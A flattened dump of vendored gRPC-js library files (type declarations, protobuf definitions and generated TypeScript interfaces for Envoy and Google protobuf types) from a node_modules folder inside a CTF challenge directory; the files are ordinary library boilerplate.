2 | import { SecureServerOptions } from 'http2'; 3 | export interface KeyCertPair { 4 | private_key: Buffer; 5 | cert_chain: Buffer; 6 | } 7 | export declare abstract class ServerCredentials { 8 | abstract _isSecure(): boolean; 9 | abstract _getSettings(): SecureServerOptions | null; 10 | static createInsecure(): ServerCredentials; 11 | static createSsl(rootCerts: Buffer | null, keyCertPairs: KeyCertPair[], checkClientCertificate?: boolean): ServerCredentials; 12 | } 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/stream-decoder.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | export declare class StreamDecoder { 3 | private readState; 4 | private readCompressFlag; 5 | private readPartialSize; 6 | private readSizeRemaining; 7 | private readMessageSize; 8 | private readPartialMessage; 9 | private readMessageRemaining; 10 | write(data: Buffer): Buffer[]; 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/tls-helpers.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | export declare const CIPHER_SUITES: string | undefined; 3 | export declare function getDefaultRootsData(): Buffer | null; 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/tls-helpers.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"file":"tls-helpers.js","sourceRoot":"","sources":["../../src/tls-helpers.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;GAeG;;;AAEH,yBAAyB;AAEZ,QAAA,aAAa,GACxB,OAAO,CAAC,GAAG,CAAC,sBAAsB,CAAC;AAErC,MAAM,uBAAuB,GAAG,OAAO,CAAC,GAAG,CAAC,gCAAgC,CAAC;AAE7E,IAAI,gBAAgB,GAAkB,IAAI,CAAC;AAE3C,SAAgB,mBAAmB;IACjC,IAAI,uBAAuB,EAAE;QAC3B,IAAI,gBAAgB,KAAK,IAAI,EAAE;YAC7B,gBAAgB,GAAG,EAAE,CAAC,YAAY,CAAC,uBAAuB,CAAC,CAAC;SAC7D;QACD,OAAO,gBAAgB,CAAC;KACzB;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AARD,kDAQC"} -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/uri-parser.d.ts: -------------------------------------------------------------------------------- 1 | export interface GrpcUri { 2 | scheme?: string; 3 | authority?: string; 4 | path: string; 5 | } 6 | export declare function parseUri(uriString: string): GrpcUri | null; 7 | export interface HostPort { 8 | host: string; 9 | port?: number; 10 | } 11 | export declare function splitHostPort(path: string): HostPort | null; 12 | export declare function uriToString(uri: GrpcUri): string; 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/build/src/xds-bootstrap.d.ts: -------------------------------------------------------------------------------- 1 | import { Node } from './generated/envoy/api/v2/core/Node'; 2 | export interface ChannelCredsConfig { 3 | type: string; 4 | config?: object; 5 | } 6 | export interface XdsServerConfig { 7 | serverUri: string; 8 | channelCreds: ChannelCredsConfig[]; 9 | } 10 | export interface BootstrapInfo { 11 | xdsServers: XdsServerConfig[]; 12 | node: Node; 13 | } 14 | export declare function loadBootstrapInfo(): Promise; 15 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/api/v2/README.md: -------------------------------------------------------------------------------- 1 | Protocol buffer definitions for xDS and top-level resource API messages. 2 | 3 | Package group `//envoy/api/v2:friends` enumerates all consumers of the shared 4 | API messages. That includes package envoy.api.v2 itself, which contains several 5 | xDS definitions. Default visibility for all shared definitions should be set to 6 | `//envoy/api/v2:friends`. 7 | 8 | Additionally, packages envoy.api.v2.core and envoy.api.v2.auth are also 9 | consumed throughout the subpackages of `//envoy/api/v2`. 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/api/v2/auth/cert.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.api.v2.auth; 4 | 5 | import "udpa/annotations/migrate.proto"; 6 | import "udpa/annotations/status.proto"; 7 | 8 | import public "envoy/api/v2/auth/common.proto"; 9 | import public "envoy/api/v2/auth/secret.proto"; 10 | import public "envoy/api/v2/auth/tls.proto"; 11 | 12 | option java_package = "io.envoyproxy.envoy.api.v2.auth"; 13 | option java_outer_classname = "CertProto"; 14 | option java_multiple_files = true; 15 | option (udpa.annotations.file_migrate).move_to_package = 16 | "envoy.extensions.transport_sockets.tls.v3"; 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/api/v2/endpoint/endpoint.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.api.v2.endpoint; 4 | 5 | import "udpa/annotations/status.proto"; 6 | 7 | import public "envoy/api/v2/endpoint/endpoint_components.proto"; 8 | 9 | option java_package = "io.envoyproxy.envoy.api.v2.endpoint"; 10 | option java_outer_classname = "EndpointProto"; 11 | option java_multiple_files = true; 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/api/v2/listener/listener.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.api.v2.listener; 4 | 5 | import "udpa/annotations/status.proto"; 6 | 7 | import public "envoy/api/v2/listener/listener_components.proto"; 8 | 9 | option java_package = "io.envoyproxy.envoy.api.v2.listener"; 10 | option java_outer_classname = "ListenerProto"; 11 | option java_multiple_files = true; 12 | option csharp_namespace = "Envoy.Api.V2.ListenerNS"; 13 | option ruby_package = "Envoy.Api.V2.ListenerNS"; 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/api/v2/route/route.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.api.v2.route; 4 | 5 | import "udpa/annotations/status.proto"; 6 | 7 | import public "envoy/api/v2/route/route_components.proto"; 8 | 9 | option java_package = "io.envoyproxy.envoy.api.v2.route"; 10 | option java_outer_classname = "RouteProto"; 11 | option java_multiple_files = true; 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/README.md: -------------------------------------------------------------------------------- 1 | Protocol buffer definitions for Envoy's bootstrap, filter, and service configuration. 2 | 3 | Visibility should be constrained to none or `//envoy/config/bootstrap/v2` by default. 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/filter/README.md: -------------------------------------------------------------------------------- 1 | Protocol buffer definitions for filters. 2 | 3 | Visibility of the definitions should be constrained to none except for 4 | shared definitions between explicitly enumerated filters (e.g. accesslog and fault definitions). 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/filter/network/dubbo_proxy/v2alpha1/README.md: -------------------------------------------------------------------------------- 1 | Protocol buffer definitions for the Dubbo proxy. 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/filter/network/thrift_proxy/v2alpha1/README.md: -------------------------------------------------------------------------------- 1 | Protocol buffer definitions for the Thrift proxy. 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/filter/thrift/router/v2alpha1/router.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.config.filter.thrift.router.v2alpha1; 4 | 5 | import "udpa/annotations/status.proto"; 6 | 7 | option java_package = "io.envoyproxy.envoy.config.filter.thrift.router.v2alpha1"; 8 | option java_outer_classname = "RouterProto"; 9 | option java_multiple_files = true; 10 | option (udpa.annotations.file_status).package_version_status = ACTIVE; 11 | 12 | // [#protodoc-title: Router] 13 | // Thrift router :ref:`configuration overview `. 14 | // [#extension: envoy.filters.thrift.router] 15 | 16 | message Router { 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/retry/omit_canary_hosts/v2/omit_canary_hosts.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.config.retry.omit_canary_hosts.v2; 4 | 5 | import "udpa/annotations/status.proto"; 6 | 7 | option java_package = "io.envoyproxy.envoy.config.retry.omit_canary_hosts.v2"; 8 | option java_outer_classname = "OmitCanaryHostsProto"; 9 | option java_multiple_files = true; 10 | option (udpa.annotations.file_status).package_version_status = ACTIVE; 11 | 12 | // [#protodoc-title: Omit Canary Hosts Predicate] 13 | // [#extension: envoy.retry_host_predicates.omit_canary_hosts] 14 | 15 | message OmitCanaryHostsPredicate { 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/config/retry/previous_hosts/v2/previous_hosts.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package envoy.config.retry.previous_hosts.v2; 4 | 5 | import "udpa/annotations/status.proto"; 6 | 7 | option java_package = "io.envoyproxy.envoy.config.retry.previous_hosts.v2"; 8 | option java_outer_classname = "PreviousHostsProto"; 9 | option java_multiple_files = true; 10 | option (udpa.annotations.file_status).package_version_status = ACTIVE; 11 | 12 | // [#protodoc-title: Previous Hosts Predicate] 13 | // [#extension: envoy.retry_host_predicates.previous_hosts] 14 | 15 | message PreviousHostsPredicate { 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/envoy-api/envoy/service/README.md: -------------------------------------------------------------------------------- 1 | Protocol buffer definitions for gRPC and REST services. 2 | 3 | Visibility should be constrained to none (default). 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/googleapis/google/api/README.md: -------------------------------------------------------------------------------- 1 | This folder contains the schema of the configuration model for the API services 2 | platform. 3 | 4 | **Note**: Protos under this directory are in Alpha status, and therefore are 5 | subject to breaking changes. 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/googleapis/google/rpc/README.md: -------------------------------------------------------------------------------- 1 | # Google RPC 2 | 3 | This package contains type definitions for general RPC systems. While 4 | [gRPC](https://github.com/grpc) is using these definitions, they 5 | are not designed specifically to support gRPC. 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/protoc-gen-validate/NOTICE: -------------------------------------------------------------------------------- 1 | protoc-gen-validate 2 | Copyright 2019 Envoy Project Authors 3 | 4 | Licensed under Apache License 2.0. See LICENSE for terms. 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/deps/udpa/udpa/annotations/versioning.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package udpa.annotations; 4 | 5 | import "google/protobuf/descriptor.proto"; 6 | 7 | extend google.protobuf.MessageOptions { 8 | // Magic number derived from 0x78 ('x') 0x44 ('D') 0x53 ('S') 9 | VersioningAnnotation versioning = 7881811; 10 | } 11 | 12 | message VersioningAnnotation { 13 | // Track the previous message type. E.g. this message might be 14 | // udpa.foo.v3alpha.Foo and it was previously udpa.bar.v2.Bar. This 15 | // information is consumed by UDPA via proto descriptors. 16 | string previous_message_type = 1; 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/node_modules/.bin/proto-loader-gen-types: -------------------------------------------------------------------------------- 1 | ../@grpc/proto-loader/build/bin/proto-loader-gen-types.js -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/node_modules/@grpc/proto-loader/build/bin/yargs-demo.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | const yargs = require("yargs"); 4 | const argv = yargs.string('key').normalize('key').array('key').argv; 5 | //# sourceMappingURL=yargs-demo.js.map -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/Vhds.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/route.proto 2 | 3 | import { ConfigSource as _envoy_api_v2_core_ConfigSource, ConfigSource__Output as _envoy_api_v2_core_ConfigSource__Output } from '../../../envoy/api/v2/core/ConfigSource'; 4 | 5 | export interface Vhds { 6 | /** 7 | * Configuration source specifier for VHDS. 8 | */ 9 | 'config_source'?: (_envoy_api_v2_core_ConfigSource); 10 | } 11 | 12 | export interface Vhds__Output { 13 | /** 14 | * Configuration source specifier for VHDS. 15 | */ 16 | 'config_source'?: (_envoy_api_v2_core_ConfigSource__Output); 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/auth/GenericSecret.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/auth/secret.proto 2 | 3 | import { DataSource as _envoy_api_v2_core_DataSource, DataSource__Output as _envoy_api_v2_core_DataSource__Output } from '../../../../envoy/api/v2/core/DataSource'; 4 | 5 | export interface GenericSecret { 6 | /** 7 | * Secret of generic type and is available to filters. 8 | */ 9 | 'secret'?: (_envoy_api_v2_core_DataSource); 10 | } 11 | 12 | export interface GenericSecret__Output { 13 | /** 14 | * Secret of generic type and is available to filters. 15 | */ 16 | 'secret'?: (_envoy_api_v2_core_DataSource__Output); 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/core/ApiVersion.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/core/config_source.proto 2 | 3 | /** 4 | * xDS API version. This is used to describe both resource and transport 5 | * protocol versions (in distinct configuration fields). 6 | */ 7 | export enum ApiVersion { 8 | /** 9 | * When not specified, we assume v2, to ease migration to Envoy's stable API 10 | * versioning. If a client does not support v2 (e.g. due to deprecation), this 11 | * is an invalid value. 12 | */ 13 | AUTO = 0, 14 | /** 15 | * Use xDS v2 API. 16 | */ 17 | V2 = 1, 18 | /** 19 | * Use xDS v3 API. 20 | */ 21 | V3 = 2, 22 | } 23 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/core/HeaderMap.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/core/base.proto 2 | 3 | import { HeaderValue as _envoy_api_v2_core_HeaderValue, HeaderValue__Output as _envoy_api_v2_core_HeaderValue__Output } from '../../../../envoy/api/v2/core/HeaderValue'; 4 | 5 | /** 6 | * Wrapper for a set of headers. 7 | */ 8 | export interface HeaderMap { 9 | 'headers'?: (_envoy_api_v2_core_HeaderValue)[]; 10 | } 11 | 12 | /** 13 | * Wrapper for a set of headers. 14 | */ 15 | export interface HeaderMap__Output { 16 | 'headers': (_envoy_api_v2_core_HeaderValue__Output)[]; 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/core/RequestMethod.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/core/base.proto 2 | 3 | /** 4 | * HTTP request method. 5 | */ 6 | export enum RequestMethod { 7 | METHOD_UNSPECIFIED = 0, 8 | GET = 1, 9 | HEAD = 2, 10 | POST = 3, 11 | PUT = 4, 12 | DELETE = 5, 13 | CONNECT = 6, 14 | OPTIONS = 7, 15 | TRACE = 8, 16 | PATCH = 9, 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/core/TcpProtocolOptions.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/core/protocol.proto 2 | 3 | 4 | /** 5 | * [#not-implemented-hide:] 6 | */ 7 | export interface TcpProtocolOptions { 8 | } 9 | 10 | /** 11 | * [#not-implemented-hide:] 12 | */ 13 | export interface TcpProtocolOptions__Output { 14 | } 15 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/core/TrafficDirection.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/core/base.proto 2 | 3 | /** 4 | * Identifies the direction of the traffic relative to the local Envoy. 5 | */ 6 | export enum TrafficDirection { 7 | /** 8 | * Default option is unspecified. 9 | */ 10 | UNSPECIFIED = 0, 11 | /** 12 | * The transport is used for incoming traffic. 13 | */ 14 | INBOUND = 1, 15 | /** 16 | * The transport is used for outgoing traffic. 17 | */ 18 | OUTBOUND = 2, 19 | } 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/listener/ActiveRawUdpListenerConfig.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/listener/udp_listener_config.proto 2 | 3 | 4 | export interface ActiveRawUdpListenerConfig { 5 | } 6 | 7 | export interface ActiveRawUdpListenerConfig__Output { 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/api/v2/route/FilterAction.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/api/v2/route/route_components.proto 2 | 3 | import { Any as _google_protobuf_Any, Any__Output as _google_protobuf_Any__Output } from '../../../../google/protobuf/Any'; 4 | 5 | /** 6 | * A filter-defined action type. 7 | */ 8 | export interface FilterAction { 9 | 'action'?: (_google_protobuf_Any); 10 | } 11 | 12 | /** 13 | * A filter-defined action type. 14 | */ 15 | export interface FilterAction__Output { 16 | 'action'?: (_google_protobuf_Any__Output); 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/config/filter/accesslog/v2/NotHealthCheckFilter.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/config/filter/accesslog/v2/accesslog.proto 2 | 3 | 4 | /** 5 | * Filters for requests that are not health check requests. A health check 6 | * request is marked by the health check filter. 7 | */ 8 | export interface NotHealthCheckFilter { 9 | } 10 | 11 | /** 12 | * Filters for requests that are not health check requests. A health check 13 | * request is marked by the health check filter. 14 | */ 15 | export interface NotHealthCheckFilter__Output { 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/config/filter/accesslog/v2/TraceableFilter.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/config/filter/accesslog/v2/accesslog.proto 2 | 3 | 4 | /** 5 | * Filters for requests that are traceable. See the tracing overview for more 6 | * information on how a request becomes traceable. 7 | */ 8 | export interface TraceableFilter { 9 | } 10 | 11 | /** 12 | * Filters for requests that are traceable. See the tracing overview for more 13 | * information on how a request becomes traceable. 14 | */ 15 | export interface TraceableFilter__Output { 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/service/discovery/v2/AdsDummy.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/service/discovery/v2/ads.proto 2 | 3 | 4 | /** 5 | * [#not-implemented-hide:] Not configuration. Workaround c++ protobuf issue with importing 6 | * services: https://github.com/google/protobuf/issues/4221 7 | */ 8 | export interface AdsDummy { 9 | } 10 | 11 | /** 12 | * [#not-implemented-hide:] Not configuration. Workaround c++ protobuf issue with importing 13 | * services: https://github.com/google/protobuf/issues/4221 14 | */ 15 | export interface AdsDummy__Output { 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/type/CodecClientType.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/type/http.proto 2 | 3 | export enum CodecClientType { 4 | HTTP1 = 0, 5 | HTTP2 = 1, 6 | /** 7 | * [#not-implemented-hide:] QUIC implementation is not production ready yet. Use this enum with 8 | * caution to prevent accidental execution of QUIC code. I.e. `!= HTTP2` is no longer sufficient 9 | * to distinguish HTTP1 and HTTP2 traffic. 10 | */ 11 | HTTP3 = 2, 12 | } 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/type/Percent.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/type/percent.proto 2 | 3 | 4 | /** 5 | * Identifies a percentage, in the range [0.0, 100.0]. 6 | */ 7 | export interface Percent { 8 | 'value'?: (number | string); 9 | } 10 | 11 | /** 12 | * Identifies a percentage, in the range [0.0, 100.0]. 13 | */ 14 | export interface Percent__Output { 15 | 'value': (number | string); 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/envoy/type/matcher/ListStringMatcher.ts: -------------------------------------------------------------------------------- 1 | // Original file: deps/envoy-api/envoy/type/matcher/string.proto 2 | 3 | import { StringMatcher as _envoy_type_matcher_StringMatcher, StringMatcher__Output as _envoy_type_matcher_StringMatcher__Output } from '../../../envoy/type/matcher/StringMatcher'; 4 | 5 | /** 6 | * Specifies a list of ways to match a string. 7 | */ 8 | export interface ListStringMatcher { 9 | 'patterns'?: (_envoy_type_matcher_StringMatcher)[]; 10 | } 11 | 12 | /** 13 | * Specifies a list of ways to match a string. 14 | */ 15 | export interface ListStringMatcher__Output { 16 | 'patterns': (_envoy_type_matcher_StringMatcher__Output)[]; 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Any.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { AnyExtension } from '@grpc/proto-loader'; 4 | 5 | export type Any = AnyExtension | { 6 | type_url: string; 7 | value: Buffer | Uint8Array | string; 8 | } 9 | 10 | export type Any__Output = AnyExtension | { 11 | type_url: string; 12 | value: Buffer; 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/BoolValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface BoolValue { 5 | 'value'?: (boolean); 6 | } 7 | 8 | export interface BoolValue__Output { 9 | 'value': (boolean); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/BytesValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface BytesValue { 5 | 'value'?: (Buffer | Uint8Array | string); 6 | } 7 | 8 | export interface BytesValue__Output { 9 | 'value': (Buffer); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/DoubleValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface DoubleValue { 5 | 'value'?: (number | string); 6 | } 7 | 8 | export interface DoubleValue__Output { 9 | 'value': (number | string); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Duration.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { Long } from '@grpc/proto-loader'; 4 | 5 | export interface Duration { 6 | 'seconds'?: (number | string | Long); 7 | 'nanos'?: (number); 8 | } 9 | 10 | export interface Duration__Output { 11 | 'seconds': (string); 12 | 'nanos': (number); 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Empty.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface Empty { 5 | } 6 | 7 | export interface Empty__Output { 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/EnumValueDescriptorProto.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { EnumValueOptions as _google_protobuf_EnumValueOptions, EnumValueOptions__Output as _google_protobuf_EnumValueOptions__Output } from '../../google/protobuf/EnumValueOptions'; 4 | 5 | export interface EnumValueDescriptorProto { 6 | 'name'?: (string); 7 | 'number'?: (number); 8 | 'options'?: (_google_protobuf_EnumValueOptions); 9 | } 10 | 11 | export interface EnumValueDescriptorProto__Output { 12 | 'name': (string); 13 | 'number': (number); 14 | 'options'?: (_google_protobuf_EnumValueOptions__Output); 15 | } 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/FileDescriptorSet.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { FileDescriptorProto as _google_protobuf_FileDescriptorProto, FileDescriptorProto__Output as _google_protobuf_FileDescriptorProto__Output } from '../../google/protobuf/FileDescriptorProto'; 4 | 5 | export interface FileDescriptorSet { 6 | 'file'?: (_google_protobuf_FileDescriptorProto)[]; 7 | } 8 | 9 | export interface FileDescriptorSet__Output { 10 | 'file': (_google_protobuf_FileDescriptorProto__Output)[]; 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/FloatValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface FloatValue { 5 | 'value'?: (number | string); 6 | } 7 | 8 | export interface FloatValue__Output { 9 | 'value': (number | string); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Int32Value.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | 4 | export interface Int32Value { 5 | 'value'?: (number); 6 | } 7 | 8 | export interface Int32Value__Output { 9 | 'value': (number); 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/Int64Value.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { Long } from '@grpc/proto-loader'; 4 | 5 | export interface Int64Value { 6 | 'value'?: (number | string | Long); 7 | } 8 | 9 | export interface Int64Value__Output { 10 | 'value': (string); 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/ListValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { Value as _google_protobuf_Value, Value__Output as _google_protobuf_Value__Output } from '../../google/protobuf/Value'; 4 | 5 | export interface ListValue { 6 | 'values'?: (_google_protobuf_Value)[]; 7 | } 8 | 9 | export interface ListValue__Output { 10 | 'values': (_google_protobuf_Value__Output)[]; 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/MethodOptions.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { UninterpretedOption as _google_protobuf_UninterpretedOption, UninterpretedOption__Output as _google_protobuf_UninterpretedOption__Output } from '../../google/protobuf/UninterpretedOption'; 4 | 5 | export interface MethodOptions { 6 | 'deprecated'?: (boolean); 7 | 'uninterpretedOption'?: (_google_protobuf_UninterpretedOption)[]; 8 | } 9 | 10 | export interface MethodOptions__Output { 11 | 'deprecated': (boolean); 12 | 'uninterpretedOption': (_google_protobuf_UninterpretedOption__Output)[]; 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/NullValue.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | export enum NullValue { 4 | NULL_VALUE = 0, 5 | } 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/@grpc/grpc-js/src/generated/google/protobuf/OneofDescriptorProto.ts: -------------------------------------------------------------------------------- 1 | // Original file: null 2 | 3 | import { OneofOptions as _google_protobuf_OneofOptions, OneofOptions__Output as _google_protobuf_OneofOptions__Output } from '../../google/protobuf/OneofOptions'; 4 | 5 | export interface OneofDescriptorProto { 6 | 'name'?: (string); 7 | 'options'?: (_google_protobuf_OneofOptions); 8 | } 9 | 10 | 